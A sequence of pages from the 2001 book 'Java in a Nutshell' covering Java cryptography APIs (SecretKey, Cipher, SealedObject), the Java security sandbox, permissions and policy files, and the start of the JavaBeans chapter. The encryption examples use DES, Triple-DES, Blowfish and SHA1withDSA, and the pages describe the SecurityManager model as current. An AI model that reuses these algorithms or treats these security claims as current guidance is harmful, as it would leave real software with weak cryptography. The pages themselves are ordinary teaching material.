// The SignedObject encapsulates the object o; it can now be serialized
// and transmitted to a recipient.

// Here's how the recipient verifies the SignedObject
SignedObject so;           // The deserialized SignedObject
Object o;                  // The original object to extract from it
PublicKey pk;              // The key to verify with
Signature s = Signature.getInstance("SHA1withDSA"); // Verification "engine"
if (so.verify(pk,s))       // If the signature is valid,
  o = so.getObject();      // retrieve the encapsulated object.

Previous | Home | Next
4.12. Processes | Book Index | 4.14. Cryptography
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Cryptography (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

4.14. Cryptography

The java.security package includes cryptography-based classes, but it does not contain classes for actual encryption and decryption. That is the job of the javax.crypto package. This package supports symmetric-key cryptography, in which the same key is used for both encryption and decryption and must be known by both the sender and the receiver of encrypted data. The SecretKey interface represents an encryption key; the first step of any cryptographic operation is to obtain an appropriate SecretKey. Unfortunately, the keytool program supplied with the Java SDK cannot generate and store secret keys, so a program must handle these tasks itself. Here is some code that shows various ways to work with SecretKey objects:

import javax.crypto.*;
import javax.crypto.spec.*;

// Generate encryption keys with a KeyGenerator object
KeyGenerator desGen = KeyGenerator.getInstance("DES");       // DES algorithm
SecretKey desKey = desGen.generateKey();                     // Generate a key
KeyGenerator desEdeGen = KeyGenerator.getInstance("DESede"); // Triple DES
SecretKey desEdeKey = desEdeGen.generateKey();               // Generate a key

// SecretKey is an opaque representation of a key. Use SecretKeyFactory to
// convert to a transparent representation that can be manipulated: saved
// to a file, securely transmitted to a receiving party, etc.
SecretKeyFactory desFactory = SecretKeyFactory.getInstance("DES");
DESKeySpec desSpec = (DESKeySpec)
  desFactory.getKeySpec(desKey, javax.crypto.spec.DESKeySpec.class);
byte[] rawDesKey = desSpec.getKey();
// Do the same for a DESede key
SecretKeyFactory desEdeFactory = SecretKeyFactory.getInstance("DESede");
DESedeKeySpec desEdeSpec = (DESedeKeySpec)
  desEdeFactory.getKeySpec(desEdeKey, javax.crypto.spec.DESedeKeySpec.class);
byte[] rawDesEdeKey = desEdeSpec.getKey();

// Convert the raw bytes of a key back to a SecretKey object
DESedeKeySpec keyspec = new DESedeKeySpec(rawDesEdeKey);
SecretKey k = desEdeFactory.generateSecret(keyspec);

// For DES and DESede keys, there is an even easier way to create keys
// SecretKeySpec implements SecretKey, so use it to represent these keys
byte[] desKeyData = new byte[8];        // Read 8 bytes of data from a file
byte[] tripleDesKeyData = new byte[24]; // Read 24 bytes of data from a file
SecretKey myDesKey = new SecretKeySpec(desKeyData, "DES");
SecretKey myTripleDesKey = new SecretKeySpec(tripleDesKeyData, "DESede");

Once you have obtained an appropriate SecretKey object, the central class for encryption and decryption is Cipher. Use it like this:

SecretKey key;     // Obtain a SecretKey as shown earlier
byte[] plaintext;  // The data to encrypt; initialized elsewhere

// Obtain an object to perform encryption or decryption
Cipher cipher = Cipher.getInstance("DESede");  // Triple-DES encryption
// Initialize the cipher object for encryption
cipher.init(Cipher.ENCRYPT_MODE, key);
// Now encrypt data
byte[] ciphertext = cipher.doFinal(plaintext);

// If we had multiple chunks of data to encrypt, we can do this
cipher.update(message1);
cipher.update(message2);
byte[] ciphertext = cipher.doFinal();

// We simply reverse things to decrypt
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] decryptedMessage = cipher.doFinal(ciphertext);

// To decrypt multiple chunks of data
byte[] decrypted1 = cipher.update(ciphertext1);
byte[] decrypted2 = cipher.update(ciphertext2);
byte[] decrypted3 = cipher.doFinal(ciphertext3);

The Cipher class can also be used with CipherInputStream or CipherOutputStream to encrypt or decrypt while reading or writing streaming data:

byte[] data;                              // The data to encrypt
SecretKey key;                            // Initialize as shown earlier
Cipher c = Cipher.getInstance("DESede");  // The object to perform encryption
c.init(Cipher.ENCRYPT_MODE, key);         // Initialize it

// Create a stream to write bytes to a file
FileOutputStream fos = new FileOutputStream("encrypted.data");

// Create a stream that encrypts bytes before sending them to that stream
// See also CipherInputStream to encrypt or decrypt while reading bytes
CipherOutputStream cos = new CipherOutputStream(fos, c);

cos.write(data);                      // Encrypt and write the data to the file
cos.close();                          // Always remember to close streams
java.util.Arrays.fill(data, (byte)0); // Erase the unencrypted data

Finally, the javax.crypto.SealedObject class provides an especially easy way to perform encryption. This class serializes a specified object and encrypts the resulting stream of bytes. The SealedObject can then be serialized itself and transmitted to a recipient. The recipient is only able to retrieve the original object if she knows the required SecretKey:

Serializable o;           // The object to be encrypted; must be Serializable
SecretKey key;                              // The key to encrypt it with
Cipher c = Cipher.getInstance("Blowfish");  // Object to perform encryption
c.init(Cipher.ENCRYPT_MODE, key);           // Initialize it with the key
SealedObject so = new SealedObject(o, c);   // Create the sealed object

// Object so is a wrapper around an encrypted form of the original object o;
// it can now be serialized and transmitted to another party.
// Here's how the recipient decrypts the original object
Object original = so.getObject(key);        // Must use the same SecretKey

Previous | Home | Next
4.13. Security | Book Index | 5. Java Security
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Security (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 5. Java Security

Contents:

Security Risks
Java VM Security and Class File Verification
Authentication and Cryptography
Access Control
Security for Everyone
Permission Classes

Java programs can dynamically load Java classes from a variety of sources, including untrusted sources, such as web sites reached across an insecure network. The ability to create and work with such mobile code is one of the great strengths and features of Java. To make it work successfully, however, Java puts great emphasis on a security architecture that allows untrusted code to run safely, without fear of damage to the host system.

The need for a security system in Java is most acutely demonstrated by applets--miniature Java applications designed to be embedded in web pages.[1] When a user visits a web page (with a Java-enabled web browser) that contains an applet, the web browser downloads the Java class files that define that applet and runs them. In the absence of a security system, an applet could wreak havoc on the user's system by deleting files, installing a virus, stealing confidential information, and so on. Somewhat more subtly, an applet could take advantage of the user's system to forge email, generate spam, or launch hacking attempts on other systems.

[1] Applets are documented in Java Foundation Classes in a Nutshell (O'Reilly) and are not covered in this book. Still, they serve as good examples here.

Java's main line of defense against such malicious code is access control : untrusted code is simply not given access to certain sensitive portions of the core Java API. For example, an untrusted applet is not typically allowed to read, write, or delete files on the host system or connect over the network to any computer other than the web server from which it was downloaded. This chapter describes the Java access control architecture and a few other facets of the Java security system.

5.1. Security Risks

Java has been designed from the ground up with security in mind; this gives it a great advantage over many other existing systems and platforms. Nevertheless, no system can guarantee 100% security, and Java is no exception.

The Java security architecture was designed by security experts and has been studied and probed by many other security experts. The consensus is that the architecture itself is strong and robust, theoretically without any security holes (at least none that have been discovered yet). The implementation of the security architecture is another matter, however, and there is a long history of security flaws being found and patched in particular implementations of Java. For example, in April 1999, a flaw was found in Sun's implementation of the class verifier in Java 1.1. Patches for Java 1.1.6 and 1.1.7 were issued and the problem was fixed in Java 1.1.8. Even more recently, in August 1999, a severe flaw was found in Microsoft's Java Virtual Machine (which is used by the Internet Explorer 4.0 and 5.0 web browsers). The flaw was a particularly dangerous one because it allowed a malicious applet to gain unrestricted access to the underlying system. Microsoft has released a new version of their VM, and (as of this writing) there have not been any known attacks that took advantage of the flaw.

In all likelihood, security flaws will continue to be discovered (and patched) in Java VM implementations. Despite this, Java remains perhaps the most secure platform currently available. There have been few, if any, reported instances of malicious Java code exploiting security holes "in the wild." For practical purposes, the Java platform appears to be adequately secure, especially when contrasted with some of the insecure and virus-ridden alternatives.

Previous | Home | Next
4.14. Cryptography | Book Index | 5.2. Java VM Security and Class File Verification
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java VM Security and Class File Verification (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.2. Java VM Security and Class File Verification

The lowest level of the Java security architecture involves the design of the Java Virtual Machine and the byte codes it executes. The Java VM does not allow any kind of direct access to individual memory addresses of the underlying system, which prevents Java code from interfering with the native hardware and operating system. These intentional restrictions on the VM are reflected in the Java language itself, which does not support pointers or pointer arithmetic. The language does not allow an integer to be cast to an object reference or vice versa, and there is no way whatsoever to obtain an object's address in memory. Without capabilities like these, malicious code simply cannot gain a foothold.

In addition to the secure design of the Virtual Machine instruction set, the VM goes through a process known as byte-codeverification whenever it loads an untrusted class. This process ensures that the byte codes of a class (and their operands) are all valid; that the code never underflows or overflows the VM stack; that local variables are not used before they are initialized; that field, method, and class access control modifiers are respected; and so on. The verification step is designed to prevent the VM from executing byte codes that might crash it or put it into an undefined and untested state where it might be vulnerable to other attacks by malicious code. Byte-code verification is a defense against malicious hand-crafted Java byte codes and untrusted Java compilers that might output invalid byte codes.

Previous | Home | Next
5.1. Security Risks | Book Index | 5.3. Authentication and Cryptography
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Authentication and Cryptography (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.3. Authentication and Cryptography

In Java 1.1 and later, the java.security package (and its subpackages) provides classes and interfaces for authentication. As described in Chapter 4, "The Java Platform", this piece of the security architecture allows Java code to create and verify message digests and digital signatures. These technologies can ensure that any data (such as a Java class file) is authentic; that it originates from the person who claims to have originated it and has not been accidentally or maliciously modified in transit.

The Java Cryptography Extension, or JCE, consists of the javax.crypto package and its subpackages. These packages define classes for encryption and decryption of data. This is an important security-related feature for many applications, but is not directly relevant to the basic problem of preventing untrusted code from damaging the host system, so it is not discussed in this chapter.

Previous | Home | Next
5.2. Java VM Security and Class File Verification | Book Index | 5.4. Access Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Access Control (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.4. Access Control

As I noted at the beginning of this chapter, the heart of the Java security architecture is access control: untrusted code simply must not be granted access to the sensitive parts of the Java API that would allow it to do malicious things. As we'll discuss in the following sections, the Java access-control model evolved significantly between Java 1.0 and Java 1.2. The Java 1.2 access-control model is relatively stable; it has not changed significantly in Java 1.3.

5.4.1. Java 1.0: The Sandbox

In this first release of Java, all Java code installed locally on the system is trusted implicitly. All code downloaded over the network, however, is untrusted and run in a restricted environment playfully called "the sandbox." The access-control policies of the sandbox are defined by the currently installed java.lang.SecurityManager object. When system code is about to perform a restricted operation, such as reading a file from the local filesystem, it first calls an appropriate method (such as checkRead()) of the currently installed SecurityManager object. If untrusted code is running, the SecurityManager throws a SecurityException that prevents the restricted operation from taking place.

The most common user of the SecurityManager class is a Java-enabled web browser, which installs a SecurityManager object to allow applets to run without damaging the host system. The precise details of the security policy are an implementation detail of the web browser, of course, but applets are typically restricted in the following ways:

  • An applet cannot read, write, rename, or delete files. It cannot query the length or modification date of a file or even check whether a given file exists. Similarly, an applet cannot create, list, or delete a directory.

  • An applet cannot connect to or accept a connection from any computer other than the one it was downloaded from. It cannot use any privileged ports (i.e., ports below and including port 1024).

  • An applet cannot perform system-level functions, such as loading a native library, spawning a new process, or exiting the Java interpreter. An applet cannot manipulate any threads or thread groups, except for those it creates itself. In Java 1.1 and later, applets cannot use the Java Reflection API to obtain information about the non-public members of classes, except for classes that were downloaded with the applet.

  • An applet cannot access certain graphics- and GUI-related facilities. It cannot initiate a print job or access the system clipboard or event queue. In addition, all windows created by an applet typically display a prominent visual indicator that they are "insecure," to prevent an applet from spoofing the appearance of some other application.

  • An applet cannot read certain system properties, notably the user.home and user.dir properties, that specify the user's home directory and current working directory.

  • An applet cannot circumvent these security restrictions by registering a new SecurityManager object.

5.4.1.1. How the sandbox works

Suppose that an applet (or some other untrusted code running in the sandbox) attempts to read the contents of the file /etc/passwd by passing this filename to the FileInputStream() constructor. The programmers who wrote the FileInputStream class were aware that the class provides access to a system resource (a file), so use of the class should therefore be subject to access control. For this reason, they coded the FileInputStream() constructor to use the SecurityManager class.

Every time FileInputStream() is called, it checks to see if a SecurityManager object has been installed. If so, the constructor calls the checkRead() method of that SecurityManager object, passing the filename (/etc/passwd, in this case) as the sole argument. The checkRead() method has no return value; it either returns normally or throws a SecurityException. If the method returns, the FileInputStream() constructor simply proceeds with whatever initialization is necessary and returns. Otherwise, it allows the SecurityException to propagate to the caller. When this happens, no FileInputStream object is created, and the applet does not gain access to the /etc/passwd file.

5.4.2. Java 1.1: Digitally Signed Classes

Java 1.1 retains the sandbox model of Java 1.0, but adds the java.security package and its digital signature capabilities. With these capabilities, Java classes can be digitally signed and verified. Thus, web browsers and other Java installations can be configured to trust downloaded code that bears a valid digital signature of a trusted entity. Such code is treated as if it were installed locally, so it is given full access to the Java APIs. In this release, the javakey program manages keys and digitally signs JAR files of Java code. Although Java 1.1 adds the important ability to trust digitally signed code that would otherwise be untrusted, it sticks to the basic sandbox model: trusted code gets full access and untrusted code gets totally restricted access.

5.4.3. Java 1.2: Permissions and Policies

Java 1.2 introduces major new access-control features into the Java security architecture. These features are implemented by new classes in the java.security package. The Policy class is one of the most important: it defines a Java security policy. A Policy object maps CodeSource objects to associated sets of Permission objects. A CodeSource object represents the source of a piece of Java code, which includes both the URL of the class file (and can be a local file) and a list of entities that have applied their digital signatures to the class file. The Permission objects associated with a CodeSource in the Policy define the permissions that are granted to code from a given source. Various Java APIs includes subclasses of Permission that represent different types of permissions. These include java.lang.RuntimePermission, java.io.FilePermission, and java.net.SocketPermission, for example.

Under this new access-control model, the SecurityManager class continues to be the central class; access-control requests are still made by invoking methods of a SecurityManager. However, the default SecurityManager implementation now delegates most of those requests to a new AccessController class that makes access decisions based on the Permission and Policy architecture.

The new Java 1.2 access-control architecture has several important features:

  • Code from different sources can be given different sets of permissions. In other words, the new architecture supports fine-grained levels of trust. Even locally installed code can be treated as untrusted or partially untrusted. Under this new architecture, only system classes and standard extensions run as fully trusted.

  • It is no longer necessary to define a custom subclass of SecurityManager to define a security policy. Policies can be configured by a system administrator by editing a text file or using the new policytool program.

  • The new architecture is not limited to a fixed set of access control methods in the SecurityManager class. New Permission subclasses can be defined easily to govern access to new system resources (which might be exposed, for example, by new standard extensions that include native code).

5.4.3.1. How policies and permissions work

Let's return to the example of an applet that attempts to create a FileInputStream to read the file /etc/passwd. In Java 1.2, the FileInputStream() constructor behaves exactly the same as it does in Java 1.0 and Java 1.1: it looks to see if a SecurityManager is installed and, if so, calls its checkRead() method, passing the name of the file to be read.

What's new in Java 1.2 is the default behavior of the checkRead() method. Unless a program has replaced the default security manager with one of its own, the default implementation creates a FilePermission object to represent the access being requested. This FilePermission object has a target of "/etc/passwd" and an action of "read". The checkRead() method passes this FilePermission object to the static checkPermission() method of the java.security.AccessController class.

It is the AccessController and its checkPermission() method that do the real work of access control in Java 1.2. The method determines the CodeSource of each calling method and uses the current Policy object to determine the Permission objects associated with it. With this information, the AccessController can determine whether read access to the /etc/passwd file should be allowed.

The Permission class represents both the permissions granted by a Policy and the permissions requested by a method like the FileInputStream() constructor. When requesting a permission, Java typically uses a FilePermission (or other Permission subclass) with a very specific target, like "/etc/passwd". When granting a permission, however, a Policy commonly uses a FilePermission object with a wildcard target, such as "/etc/*", to represent many files. One of the key features of a Permission subclass such as FilePermission is that it defines an implies() method that can determine whether permission to read "/etc/*" implies permission to read "/etc/passwd".

Previous | Home | Next
5.3. Authentication and Cryptography | Book Index | 5.5. Security for Everyone
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security for Everyone (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.5. Security for Everyone

Programmers, system administrators, and end users all have different security concerns and, thus, different roles to play in the Java 1.2 security architecture.

5.5.1. Security for System Programmers

System programmers are the people who define new Java APIs that allow access to sensitive system resources. These programmers are typically working with native methods that have unprotected access to the system. They need to use the Java access-control architecture to prevent untrusted code from executing those native methods. To do this, system programmers must carefully insert SecurityManager calls at appropriate places in their code. A system programmer may choose to use an existing Permission subclass to govern access to the system resources exposed by her API, or she may decide to define a specialized subclass of Permission.

The system programmer carries a tremendous security burden: if she does not perform appropriate access control checks in her code, she compromises the security of the entire Java platform. The details are complex and are beyond the scope of this book. Fortunately, however, system programming that involves native methods is rare in Java; almost all of us are application programmers who can simply rely on the existing APIs.

5.5.2. Security for Application Programmers

Programmers who use the core Java APIs and standard extensions, but do not define new extensions or write native methods, can simply rely on the security efforts of the system programmers who created those APIs. In other words, most of us Java programmers can simply use the Java APIs and need not worry about introducing security holes into the Java platform.

In fact, application programmers rarely have to use the access-control architecture. If you are writing Java code that may be run as untrusted code, you should be aware of the restrictions placed on untrusted code by typical security policies. Keep in mind that some methods (such as methods that read or write files) can throw SecurityException objects, but don't feel you must write your code to catch these exceptions. Often, the appropriate response to a SecurityException is to allow it to propagate uncaught, so that it terminates the application.

Sometimes, as an application programmer, you want to write an application (such as an applet viewer) that can load untrusted classes and run them subject to access-control checks. To do this in Java 1.2, you must first install a security manager:

System.setSecurityManager(new SecurityManager());

Then use java.net.URLClassLoader to load the untrusted classes. URLClassLoader assigns a default set of safe permissions to the classes it loads, but in some cases you may want to modify the permissions granted to the loaded code through the Policy and PermissionCollection classes.

5.5.3. Security for System Administrators

In Java 1.2 and later, system administrators are responsible for defining the default security policy for the computers at their site. The default policy is stored in the file lib/security/java.policy in the Java installation. A system administrator can edit this text file by hand or use the policytool program from Sun to edit the file graphically. policytool is the preferred way to define policies, so the syntax of the underlying policy file is not documented in this book.

The default java.policy file defines a policy that is much like the policy of Java 1.0 and Java 1.1: system classes and installed extensions are fully trusted, while all other code is untrusted and only allowed a few simple permissions. While this default policy is adequate for many purposes, it may not be appropriate for all sites. For example, at some organizations, it may be appropriate to grant extra permissions to code downloaded from a secure intranet.

In order to define secure and effective security policies, a system administrator must understand the various Permission subclasses of the Java platform, the target and action names they support, and the security implications of granting any particular permission. These topics are explained well in a document titled "Permissions in the Java 2 SDK," which is part of the Java 1.2 release and also available (at the time of this writing) online at: http://java.sun.com/products/jdk/1.2/docs/guide/security/permissions.html.

5.5.4. Security for End Users

Most end users do not have to think about security at all: their Java programs should simply run in a secure way with no intervention by them. Some sophisticated end users may want to define their own security policies, however. An end user can do this by running policytool himself to define personal policy files that augment the system policy. The default personal policy is stored in a file named .java.policy in the user's home directory. By default, Java loads this policy file and uses it to augment the system policy file.

In Java 1.2 and later, a user can specify an additional policy file to use when starting up the Java interpreter, by defining the java.security.policy property with the -D option. For example:

C:\> java -Djava.security.policy=policyfile UntrustedApp

This line runs the class UntrustedApp after augmenting the default system and user policies with the policy specified in the file or URL policyfile. To replace the system and user policies instead of augmenting them, use a double equals sign in the property specification:

C:\> java -Djava.security.policy==policyfile UntrustedApp

Note, however, that specifying a policy file is only useful if there is a SecurityManager installed. If a user doesn't trust an application, he presumably doesn't trust that application to voluntarily install its own security manager. In this case, he can define the java.security.manager system property:

C:\> java -Djava.security.manager -Djava.security.policy=policyfile UntrustedApp

The value of this property does not matter; simply defining it is enough to tell the Java interpreter to automatically install a default SecurityManager object that subjects an application to the access control policies described in the system, user, and java.security.policy policy files.

Previous | Home | Next
5.4. Access Control | Book Index | 5.6. Permission Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Permission Classes (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.6. Permission Classes

Table 5-1 lists the various Permission subclasses, the target and action names they support, and the methods that require those permissions (in Java 1.2 and later).

Table 5-1. Permission Classes and the Methods They Govern

Permission | Target, Action | Methods
AWT-Permission | "accessClipboard" | Toolkit.getSystemClipboard()
"accessEventQueue" | Toolkit.getSystemEventQueue()
 | "listenToAllAWTEvents" | Toolkit.{addAWTEventListener(), removeAWTEventListener()}
 | "readDisplayPixels" | Graphics2D.setComposite()
 | "showWindowWithout-WarningBanner" | Window.Window() (if permission is not granted, window has an "insecure" indication)
File-Permission | command, "execute" | Runtime.exec()
filename, "delete" | File.{delete(), deleteOnExit()}
File-Permission | filename, "read" | FileInputStream.FileInputStream(), File.{exists(), canRead(), isFile(), isDirectory(), isHidden(), lastModified(), length(), list(), listFiles()}, RandomAccessFile.RandomAccessFile(), ZipFile.ZipFile()
 | filename, "write" | FileOutputStream.FileOutputStream(), File.{canWrite(), createNewFile(), createTempFile(), mkdir(), mkdirs(), renameTo(), setLastModified(), setReadOnly()}, RandomAccessFile.RandomAccessFile()
Net-Permission | "requestPassword-Authentication" | Authenticator.requestPassword-Authentication()
 | "setDefaultAuthenticator" | Authenticator.setDefault()
 | "specifyStreamHandler" | URL.URL()
Property-Permission | "*", "read, write" | Beans.{setDesignTime(), setGuiAvailable()}, Introspector.setBeanInfo-SearchPath(), PropertyEditorManager.{register-Editor(), setEditorSearchPath()}, System.{getProperties(), setProperties()}
 | "user.language", "write" | Locale.setDefault()
 | prop, "read" | System.getProperty()
 | prop, "write" | System.setProperty()
Reflect-Permission | "suppressAccessChecks" | AccessibleObject.setAccessible()
Runtime-Permission | "accessClassIn- Package.pkgname " | Class.{getClasses(), getDeclaredClasses(), getConstructor(), getConstructors(), getDeclaredFields(), getDeclaredMethods(), getDeclaredConstructors(), getDeclaredField(), getDeclaredMethod(), getDeclaredConstructor(),
Runtime-Permission |  | getFields(), getMethods(), getField(), getMethod()}
 | "accessDeclaredMembers" | Class.{getClasses(), getDeclaredClasses(), getDeclaredFields(), getDeclaredMethods(), getDeclaredConstructors(), getDeclaredField(), getDeclaredMethod(), getDeclaredConstructor()}
 | "createClassLoader" | ClassLoader.Class-Loader(), URLClassLoader.URL-ClassLoader(), SecureClassLoader.Secure-ClassLoader()
 | "exitVM" | Runtime.{exit(), runFinalizersOnExit()}, System.{exit(), runFinalizersOnExit()}
 | "getClassLoader" | Class.{forName(), getClassLoader()}, ClassLoader.{getSystemClassLoader(), getParent()}, Thread.getContextClassLoader()
 | "getProtectionDomain" | Class.getProtectionDomain()
 | "loadLibrary.libName " | Runtime.{load(), loadLibrary()}, System.{load(), loadLibrary()}
 | "modifyThread" | Thread.{checkAccess(), interrupt(), suspend(), resume(), setPriority(), setName(), setDaemon()}, ThreadGroup.{interrupt(), stop()}
 | "modifyThreadGroup" | Thread.{Thread(), enumerate()}, ThreadGroup.{ThreadGroup(), enumerate(), getParent(), interrupt(), setDaemon(), setMaxPriority(), stop(), suspend(), resume(), destroy()}
 | "queuePrintJob" | Toolkit.getPrintJob()
 | "readFileDescriptor" | FileInputStream.File-InputStream(FileDescriptor)
 | "setContextClassLoader" | Thread.setContextClassLoader()
Runtime-Permission | "setFactory" | ServerSocket.setSocketFactory(), Socket.setSocketImplFactory(), URL.setURLStream-HandlerFactory(), URLConnection.{setContent-HandlerFactory(), setFileNameMap()}, HttpURLConnection.set-FollowRedirects(), activation.Activation-Group.{createGroup(), setSystem()}, server.RMISocketFactory.set-SocketFactory()
 | "setIO" | System.{setIn(), setOut(), setErr()}
 | "setSecurityManager" | System.setSecurityManager()
 | "stopThread" | Thread.stop(), ThreadGroup.stop()
 | "writeFileDescriptor" | FileOutputStream.File-OutputStream(FileDescriptor)
Security- | "addIdentityCertificate" | Identity.addCertificate()
Permission | "clearProvider- Properties.provider " | Provider.clear()
 | "getPolicy" | Policy.getPolicy()
 | "getProperty.propname " | Security.getProperty()
 | "getSignerPrivateKey" | Signer.getPrivateKey()
 | "insertProvider.provider " | Security.{addProvider(), insertProviderAt()}
 | "printIdentity" | Identity.toString()
 | "putProvider- Property.provider " | Provider.put()
 | "removeIdentityCertificate" | Identity.removeCertificate()
 | "removeProvider.provider " | Security.removeProvider()
 | "removeProvider- Property.provider " | Provider.remove()
 | "setIdentityInfo" | Identity.setInfo(String)
 | "setIdentityPublicKey" | Identity.setPublicKey()
 | "setPolicy" | Policy.setPolicy();
 | "setProperty.propname " | Security.setProperty()
 | "setSignerKeypair" | Signer.setKeyPair()
 | "setSystemScope" | IdentityScope.setSystemScope()
Serializable-Permission | "enableSubclass- Implementation" | ObjectInputStream.Object-InputStream(), ObjectOutputStream.Object-OutputStream()
 | "enableSubstitution" | ObjectInputStream.enable-ResolveObject(), ObjectOutputStream.enable-ReplaceObject()
Socket-Permission | "localhost:port ", "listen" | ServerSocket.ServerSocket(), DatagramSocket.DatagramSocket(), MulticastSocket.MulticastSocket()
 | host, "accept, connect" | MulticastSocket.{joinGroup(), leaveGroup(), send()}
 | host, "resolve" | InetAddress.{getHostName(), getAllByName(), getLocalHost()}, DatagramSocket.getLocalAddress()
 | host:port, "accept" | DatagramSocket.receive(), ServerSocket.{accept(), implAccept()}
 | host:port, "connect" | DatagramSocket.send(), Socket.Socket()
Previous | Home | Next
5.5. Security for Everyone | Book Index | 6. JavaBeans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JavaBeans (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 6. JavaBeans

Contents:

Bean Basics
JavaBeans Conventions
Bean Contexts and Services

The JavaBeans API provides a framework for defining reusable, embeddable, modular software components. The JavaBeans specification includes the following definition of a bean: "a reusable software component that can be manipulated visually in a builder tool." As you can see, this is a rather loose definition; beans can take a variety of forms. The most common use of beans is for graphical user interface components, such as components of the java.awt and javax.swing packages, which are documented in Java Foundation Classes in a Nutshell (O'Reilly).[1] Although all beans can be manipulated visually, this does not mean every bean has its own visual representation. For example, the javax.sql.RowSet class (documented in Java Enterprise in a Nutshell (O'Reilly)) is a JavaBeans component that represents the data resulting from a database query. There are no limits on the simplicity or complexity of a JavaBeans component. The simplest beans are typically basic graphical interface components, such as a java.awt.Button object. But even complex systems, such as an embeddable spreadsheet application, can function as individual beans.

[1] JavaBeans are documented in this book instead of that one because the JavaBeans component model is not specific to AWT or Swing programming. Nevertheless, it is hardly possible to discuss beans without mentioning AWT and Swing components. You will probably get the most out of this chapter if you have some familiarity with GUI programming in Java using AWT or Swing.

One of the goals of the JavaBeans model is interoperability with similar component frameworks. So, for example, a native Windows program can, with an appropriate bridge or wrapper object, use a JavaBeans component as if it were a COM or ActiveX component. The details of this sort of interoperability are beyond the scope of this chapter, however.

The JavaBeans component model consists of the java.beans and java.beans.beancontext packages and a number of important naming and API conventions to which conforming beans and bean-manipulation tools must adhere. Because JavaBeans is a framework for generic components, the JavaBeans conventions are, in many ways, more important than the actual API.

Two interesting technologies related to JavaBeans are the Java Activation Framework and InfoBus. Both are standard extensions, implemented in the javax.activation and javax.infobus packages, respectively. You can read more about them at the JavaBeans web site: http://java.sun.com/beans/.

Beans can be used at three levels by three different categories of programmers:

  • If you are writing an application that uses beans developed by other programmers or using a beanbox tool[2] to combine those beans into an application, you need to be familiar with general JavaBeans concepts and terminology. You also need to read the documentation for the individual beans you use in your application, but you do not need to understand the JavaBeans API. This chapter begins with an overview of JavaBeans concepts that should be sufficient for programmers using beans at this level.

    [2]beanbox is the name of the sample bean-manipulation program provided by Sun in its Beans Development Kit (BDK). The term is a useful one, and I'll use it to describe any kind of graphical design tool or application builder that manipulates beans.

  • If you are writing beans, you need to understand and follow various JavaBeans naming and packaging conventions. After the introduction to general bean concepts and terminology, this chapter describes the basic bean conventions bean developers must follow. Although a JavaBeans component can be implemented without using the JavaBeans API, most beans are distributed with various auxiliary classes that make them easier to use within beanbox tools. These auxiliary classes rely heavily on the JavaBeans API so that they can interoperate with beanbox tools.

  • If you are developing a GUI editor, application builder, or other beanbox tool, you use the JavaBeans API to help you manipulate beans within the tool. You also need to be intimately familiar with all the various JavaBeans programming conventions. Although this chapter describes the most important conventions, you should also refer to the primary source, the JavaBeans specification (see http://java.sun.com/beans/ ).

6.1. Bean Basics

Any object that conforms to certain basic rules can be a bean; there is no Bean class all beans are required to subclass. Many beans are AWT components, but it is also quite possible, and often useful, to write "invisible" beans that do not have an onscreen appearance. ( Just because a bean does not have an onscreen appearance in a finished application does not mean it cannot be visually manipulated by a beanbox tool, however.)

A bean is characterized by the properties, events, and methods it exports. It is these properties, events, and methods an application designer manipulates in a beanbox tool. A property is a piece of the bean's internal state that can be programmatically set and/or queried, usually through a standard pair of get and set accessor methods.

A bean communicates with the application in which it is embedded and with other beans by generating events. The JavaBeans API uses the same event model AWT and Swing components use. This model is based on the java.util.EventObject class and the java.util.EventListener interface; it is described in detail in Java Foundation Classes in a Nutshell (O'Reilly). In brief, the event model works like this:

  • A bean defines an event if it provides add and remove methods for registering and deregistering listener objects for that event.

  • An application that wants to be notified when an event of that type occurs uses these methods to register an event listener object of the appropriate type.

  • When the event occurs, the bean notifies all registered listeners by passing an event object that describes the event to a method defined by the event listener interface.

A unicast event is a rare kind of event for which there can be only a single registered listener object. The add registration method for a unicast event throws a TooManyListenersException if an attempt is made to register more than a single listener.

The methods exported by a bean are simply any public methods defined by the bean, excluding those methods that get and set property values and register and remove event listeners.

In addition to the regular sort of properties described earlier, the JavaBeans API also supports several specialized property subtypes. An indexed proper ty is a property that has an array value, as well as getter and setter methods that access both individual elements of the array and the entire array. A bound property is one that sends a PropertyChangeEvent to any interested PropertyChangeListener objects whenever the value of the property changes. A constrained property is one that can have any changes vetoed by any interested listener. When the value of a constrained property of a bean changes, the bean must send out a PropertyChangeEvent to the list of interested VetoableChangeListener objects. If any of these objects throws a PropertyVetoException, the property value is not changed, and the PropertyVetoException is propagated back to the property setter method.

Because Java allows dynamic loading of classes, beanbox programs can load arbitrary beans. The beanbox tool uses a process called introspection to determine the properties, events, and methods exported by a bean. The introspection mechanism is implemented by the java.beans.Introspector class; it relies on both the java.lang.reflect reflection mechanism and a number of JavaBeans naming conventions. Introspector can determine the list of properties supported by a bean, for example, by scanning the class for methods that have the right names and signatures to be get and set property accessor methods.

The introspection mechanism does not rely on the reflection capabilities of Java alone, however. Any bean can define an auxiliary BeanInfo class that provides additional information about the bean and its properties, events, and methods. The Introspector automatically attempts to locate and load the BeanInfo class of a bean.

The BeanInfo class provides additional information about the bean primarily in the form of FeatureDescriptor objects, each one describing a single feature of the bean. Each FeatureDescriptor provides a name and brief description of the feature it documents. The beanbox tool can display the name and description to the user, making the bean essentially self-documenting and easier to use. Specific bean features, such as properties, events, and methods, are described by specific subclasses of FeatureDescriptor, such as PropertyDescriptor, EventSetDescriptor, and MethodDescriptor.

